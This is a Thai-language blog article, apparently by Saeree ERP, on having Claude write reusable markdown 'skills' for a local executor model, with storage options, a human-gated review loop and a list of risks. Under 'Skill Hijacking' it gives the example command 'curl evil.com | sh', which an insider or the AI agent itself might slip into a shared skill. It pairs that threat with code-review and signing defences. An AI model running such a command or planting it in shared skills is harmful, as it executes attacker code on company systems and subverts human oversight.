Claude สอน Local AI ด้วย Skill — EP2

ทำไมต้องมี Skill — ปัญหาที่ EP1 ยังแก้ไม่ครบ

EP1 จบที่ Claude เขียน plan ส่งให้ Local AI ทำ — ฟังดูดีจน เจองานที่ Local AI ไม่เคยทำมาก่อน เช่น "deploy แอป Angular ขึ้น nginx + reload service" ทุกครั้งที่งานแบบนี้มา Claude ต้องเขียน plan ใหม่หมดจากศูนย์ ทั้งที่เป็นงานซ้ำๆ ที่ทำเหมือนเดิม 95%

นี่คือสาเหตุที่ skill เกิดขึ้น — ครั้งแรก Claude คิด + Local AI ทำ + ผ่าน Claude สรุปเป็น skill ครั้งที่ 2 เป็นต้นไป Claude แค่บอก "ใช้ skill ชื่อ deploy-angular-nginx" Local AI โหลด skill นั้นมาทำตามทันที — token ของ Claude ลดอีก 5-10 เท่าเทียบ EP1

Skill ในบริบทนี้คืออะไรกันแน่ — โครงสร้างจริง

Skill ที่ใช้ใน Planner-Executor pattern มี 4 ส่วน เขียนเป็น markdown file:

ส่วน	หน้าที่	ตัวอย่าง
1. Frontmatter	metadata: name, description, trigger keywords	name: deploy-angular-nginx
2. Trigger	เงื่อนไขที่ Local AI จะโหลด skill นี้	"deploy angular", "ng build + reload nginx"
3. Steps	ลำดับขั้นตอนแบบ explicit (ไม่ละ implicit step)	step 1: cd /app, step 2: npm run build, ...
4. Tools	รายการ tool ที่ skill นี้อนุญาตให้ใช้	bash, write_file, http_post

ขนาด skill ทั่วไปประมาณ 200-800 บรรทัด markdown — มากกว่า plan แบบ ad-hoc ใน EP1 แต่ใช้ซ้ำได้เป็นพันรอบ — เศรษฐศาสตร์จึงคุ้มมาก

Skill ของ Claude vs Skill ที่ Claude เขียนให้ Local AI

นี่คือจุดที่หลายทีมเข้าใจผิดในครั้งแรก — เอา skill ที่ Claude อ่านเองไปให้ Local AI อ่าน ไม่ work เพราะ Claude infer สิ่งที่ implicit ได้ดีกว่า Local AI หลายเท่า

มิติ	Skill สำหรับ Claude	Skill สำหรับ Local AI (เช่น Qwen 32B)
ความ explicit	สูงพอประมาณ — Claude เดา context ที่หายไปได้	ต้อง explicit สูงสุด — ระบุ working directory, env vars, command ตรงๆ
ขนาดทั่วไป	100-300 บรรทัด	300-800 บรรทัด (ยาวกว่า 3-5 เท่า)
Error handling	ระบุ pattern ทั่วไปได้	ต้อง list error เป็นกรณีๆ + วิธีแก้ทีละกรณี
Decision point	"ถ้าเป็น production deploy ให้ใช้ flag X"	"ถ้าค่า env STAGE=prod ให้รัน step 4a; ถ้า STAGE=staging ให้รัน step 4b"
Output format	"return summary"	"return JSON {status, files_changed, log_tail_20_lines}"

ผลคือ skill สำหรับ Local AI เสมือน script ที่เขียนเป็น markdown — ตัดความกำกวมออกให้มากที่สุด นี่คือเหตุผลที่ Claude ต้องเป็นคนเขียน skill ไม่ใช่ให้ Local AI เขียนเองเพราะ Local AI ไม่รู้ว่าตัวเอง infer อะไรไม่ได้บ้าง — เหมือนคนที่ไม่รู้ว่าตัวเองไม่รู้

3 วิธีเก็บ Skill ในองค์กร

เมื่อ skill เพิ่มขึ้นเรื่อยๆ (อาจ 100-500 skill ใน 6 เดือน) การเก็บก็สำคัญพอๆ กับการเขียน — ผิดวิธีจะกลายเป็นไฟล์กระจัดกระจายที่ไม่มีใครรู้ว่ามี skill อะไรอยู่บ้าง

วิธี	หลักการ	เหมาะกับ	ข้อจำกัด
A. Shared folder	เก็บใน .skills/ ใน repo, ทั้ง Claude และ Local AI อ่านไฟล์ตรงๆ	ทีม dev เล็ก 1-5 คน, skill < 50 ตัว	ค้นยากเมื่อ skill เยอะ, ไม่มี version control เฉพาะ
B. MCP Server	host skill เป็น tool ผ่าน Model Context Protocol — Claude/Local AI เรียกผ่าน API	ทีมที่ใช้ MCP อยู่แล้ว, ต้องการ unified interface	ต้อง maintain MCP server เพิ่ม
C. Skill Registry (DB-based)	database ที่มี skill + version + metric (success rate, last used)	องค์กรที่ใช้ regularly, ต้องการ A/B test และ audit	setup ซับซ้อนสุด, ต้องมีทีม dedicated

คำแนะนำคือ เริ่มจาก A เสมอ ทีมที่กระโดดไป C ก่อนเสียเวลา 2-3 เดือนสร้าง infrastructure ที่ใช้ไม่คุ้ม เพราะยังไม่รู้ว่า skill ที่ต้องการจริงๆ คืออะไร แนวคิดเดียวกับการ build ระบบ ERP — เริ่มที่ process ก่อน ค่อยมา database design ภายหลัง (ดูเพิ่ม ERP Implementation — จะทำอย่างไรเมื่อองค์กรเริ่มอยากใช้ ERP)

Skill Review Loop — ป้องกัน skill drift

ปัญหาที่หลายทีมเจอตอนใช้ pattern นี้ได้ 1-2 เดือน คือ skill drift — skill ใหม่ๆ ที่ Claude generate ออกมา ดูดี แต่ Local AI ทำตามแล้วผลผิด เพราะ skill ไม่ได้ test กับ executor จริง

วิธีแก้คือ skill review loop 4 ขั้น:

ขั้น	ใครทำ	งาน	เกณฑ์ผ่าน
1. Generate	Claude	เขียน draft skill จาก task ที่ทำซ้ำหลายรอบ	รัน lint ผ่าน (frontmatter ครบ, step มี action verb)
2. Dry-run	Local AI	รัน skill กับ test fixture ที่ตั้งไว้	success rate ≥ 90% จาก 10 รอบ
3. Verify	Claude	อ่าน log ทั้ง 10 รอบ ตรวจว่าผลตรงสเปก	ไม่มี false positive
4. Promote	คน (DevOps)	อนุมัติเข้า production registry	มี human gate ก่อนใช้จริง

ขั้นที่ 4 สำคัญที่สุด — ห้ามให้ skill เข้า production โดยไม่มีมนุษย์อนุมัติ ไม่ว่า dry-run จะผ่านดีแค่ไหน เพราะ test fixture ไม่ครอบคลุมทุกกรณีในชีวิตจริง หลักการเดียวกับเรื่อง audit trail ที่บทความ AI Internal Audit — ตรวจสอบ AI ในงานองค์กร เคยอธิบาย

⚠️ ความเสี่ยงเฉพาะของระบบ Skill

1. Skill Sprawl

เมื่อ Claude เขียน skill ง่าย ทีมก็เขียนเพลิน — 1 เดือนเจอ 200 skill ที่ทับซ้อนกัน 3-4 ตัวต่อ task เดียว ทำให้ Local AI สับสนว่าจะใช้ตัวไหน ทางแก้: quota การสร้าง skill ใหม่ + audit รายเดือนรวม skill ที่ทำงานเหมือนกัน

2. Skill Hijacking

หาก skill registry เปิดให้ใครก็แก้ได้ คนใน (หรือ AI agent เอง) อาจแก้ skill ที่ทุกคนใช้ ให้รัน command อันตราย — เช่น แทรก curl evil.com | sh ใน step ที่ดูไม่ออก ทางแก้: skill ต้องผ่าน code review เหมือนโค้ดจริง และมี diff approval workflow

3. Stale Skill

Skill ที่เขียนเมื่อ 6 เดือนก่อนอาจอ้างถึง path/library ที่เปลี่ยนไปแล้ว — Local AI ทำตามผลคือพัง ทางแก้: track last_success_at ของแต่ละ skill ถ้าไม่ได้ใช้นาน + ใช้แล้วพัง → flag ให้ Claude regenerate

4. Over-fitting กับ Executor ตัวเดียว

Skill ที่ test กับ Qwen 32B ผ่านดี ใช้กับ Llama 70B อาจไม่ work เพราะ instruction following ของแต่ละ model ต่างกัน — ทางแก้: ถ้าตั้งใจ multi-executor ต้อง test skill กับ executor ทุกตัวก่อน promote

ความเสี่ยง	วิธี mitigate	ใครต้องทำ
Skill Sprawl	Quota การสร้าง + monthly audit รวม skill ซ้ำ	Tech Lead
Skill Hijacking	Code review + diff approval, sign skill ด้วย key	DevOps + Security
Stale Skill	Track last_success_at, auto-flag เมื่อพัง	Orchestrator
Over-fitting executor	Test กับ executor ทุกตัวก่อน promote	QA / Tech Lead

Use case จริง — Skill 3 ตัวที่หลายทีมเริ่มจาก

ทีมที่เริ่มทำ skill registry ครั้งแรก แนะนำเริ่ม 3 ตัวนี้ก่อน เพราะ scope ชัด + verify ง่าย + ROI เห็นเร็ว

A. Skill: generate-migration

Trigger: เจอ schema diff ระหว่าง dev กับ staging — Local AI generate migration script (Alembic / Flyway / manual SQL) ตามขั้นที่ skill ระบุ ผลลัพธ์เป็น .sql file พร้อม rollback script

B. Skill: write-test-from-bug-report

Trigger: เจอ bug report ใน Linear/Jira ที่มี reproduce steps — Local AI สร้าง test case ที่ fail (red test) ตาม steps + ใส่ไว้ใน test suite รอ dev แก้ผลก็ pass

C. Skill: changelog-from-commits

Trigger: ก่อน release — Local AI อ่าน git log ตั้งแต่ tag ล่าสุด, จัดกลุ่มตาม conventional commit (feat/fix/chore), เขียน CHANGELOG.md ตาม format

ทั้ง 3 ตัวมี output verifiable ทันที (รัน test, รัน migration ใน sandbox, อ่าน CHANGELOG) จึงเหมาะเป็นจุดเริ่มต้นในการ validate ว่า skill ของ Claude เขียนให้ Local AI ใช้ได้จริง

ที่ Saeree ERP มอง Skill ยังไง

การพัฒนา Saeree ERP ที่ต้องดูแลโมดูลจำนวนมาก (บัญชี, พัสดุ, HR, GFMIS adapter, report engine ฯลฯ) เจองาน maintenance ที่ทำซ้ำเดือนละหลายรอบ — เช่น "เพิ่ม validation rule ใหม่ใน form X", "generate report definition ตาม template Y" — ซึ่งเป็น candidate ที่เหมาะสำหรับ skill เพราะ pattern ทำเหมือนกันทุกครั้ง แค่เปลี่ยน parameter

ในระยะถัดไปของ AI Assistant ที่ Saeree ERP กำลังพัฒนา — skill registry น่าจะเป็นส่วนสำคัญที่ทำให้ ลูกค้า on-premise ของเรา สามารถ "สอน" AI ให้ทำงาน customization เฉพาะองค์กรได้โดยที่ skill ไม่ต้องออกนอกเครื่อง — ตอบโจทย์เดียวกับ pattern Planner-Executor ที่อธิบายไว้ใน EP1

สรุป — Skill เพิ่มอะไรให้ Planner-Executor

เปรียบเทียบ	EP1 (Planner-Executor ปกติ)	EP2 (เพิ่ม Skill)
งานซ้ำ	Claude เขียน plan ใหม่ทุกครั้ง	Claude เรียก skill ที่มีอยู่ — token ลด 5-10 เท่า
งานใหม่	Claude คิด + Local AI ทำ	เหมือนเดิม + ถ้าจะทำซ้ำ → Claude สรุปเป็น skill
คุณภาพ executor	ขึ้นกับ plan แต่ละครั้ง	stable ขึ้น — skill ผ่าน review แล้ว
Overhead	ไม่มี — รันได้เลย	ต้อง maintain skill registry + review loop
เหมาะเมื่อ	งานยังไม่ stable, pattern ยังไม่นิ่ง	งานเริ่มซ้ำ — เจอ pattern เดียวกัน ≥ 5 ครั้ง

"Skill คือการให้ AI ที่ฉลาด เขียน SOP ให้ AI ที่ถูก — และผลคือ AI ที่ถูก ทำงานได้เหมือน AI ที่ฉลาด ในงานที่ pattern นิ่งแล้ว"

คำถามที่เหลือไว้ให้คิด

ในงานที่ทีม dev/IT ของคุณทำซ้ำทุกสัปดาห์ — มีกี่ pattern ที่จริงๆ แล้วเป็น "SOP ที่ยังไม่ได้เขียน" และถ้า AI ช่วยเขียน SOP เหล่านั้นออกมาเป็น skill ที่รันได้จริง คุณจะคืนเวลาให้ทีมได้กี่ชั่วโมง/สัปดาห์? ลองนับ skill candidates 5 ตัวที่ใกล้ตัวที่สุด — นั่นคือจุดเริ่มต้นของ skill registry ในองค์กรคุณ

หากกำลังพิจารณาออกแบบสถาปัตยกรรม AI ที่รวม planner + executor + skill registry สำหรับใช้กับระบบหลักภายในองค์กร นัดหมายปรึกษาทีม Saeree ERP เพื่อช่วยประเมิน fit กับ data policy และ workflow ของทีม

แหล่งอ้างอิง

• Anthropic — Claude Code Skills documentation
• Anthropic — Agent Skills announcement
• Anthropic — Building Effective Agents — orchestrator-workers pattern
• Model Context Protocol — MCP specification (skill-as-tool transport)
• Ollama — Qwen2.5-Coder (executor reference model)